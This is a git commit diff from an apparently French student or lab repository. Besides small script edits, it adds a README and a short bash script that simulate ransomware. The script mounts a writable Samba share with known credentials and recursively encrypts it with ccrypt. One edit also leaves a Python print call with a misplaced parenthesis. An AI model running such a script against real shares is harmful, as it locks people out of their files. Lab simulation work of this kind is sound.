Compare commits

..

1 Commits

5 changed files with 39 additions and 3 deletions

View File

@@ -24,7 +24,7 @@ else
echo "Commit en cours..."
sleep 1
git commit
git tag -l "v.0*" --sort="-v:refname"
git tag -l "v.*" --sort="-v:refname"
echo "Entrez la version du tag: (Le plus récent est en haut)"
read tag
git tag $tag

View File

@@ -0,0 +1,2 @@
Dossier avec le script utilisé pour simuler une attaque de ransomware sur un partage Samba accessible en écriture, avec un mot de passe et nom d'utilisateur connus.
Les arguments passés après le nom du script sont utilisés plus tard et sont nécessaires.

View File

@@ -0,0 +1,34 @@
#!/bin/bash
# déclaration des variables
chemin=$1
cred=$2
action=$3
ficcle=$4
# récup du mot de passe et nom d'utilisateur
user=$(echo $cred| cut -d "/" -f1)
pass=$(echo $cred| cut -d "/" -f2)
# créa du répertoire et on monte dessus
[[ -e /mnt/samba ]] || mkdir /mnt/samba
mount.cifs -o "username=$user,password=$pass" "//${chemin}" /mnt/samba
# vérification d'erreurs
if [[ $? != 0 ]] ; then
rmdir /mnt/samba
exit 1
fi
# la commande ccrypt
ccrypt "$action" -r -k $ficcle /mnt/samba
# vérification d'erreurs
if [[ $? != 0 ]] ; then
echo "ccrypt échoué, revérifie le script."
exit 1
fi
# nettoyage et sortie, code 0
umount /mnt/samba
rmdir /mnt/samba
exit 0

View File

@@ -21,6 +21,6 @@ def main(filename):
print(f"Erreur lors de la lecture du fichier {filename}: {e}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python creatusr.py <nom_du_fichier>")
print("Usage: python3 createusers.py <nom_du_fichier>")
else:
main(sys.argv[1])

View File

@@ -14,5 +14,5 @@ for mot in mots:
# Afficher les mots et leurs occurrences
print("Occurrences des mots :")
for mot, count in occurrences.items():
print(f"{mot} : {count}"
print(f"{mot} : {count})"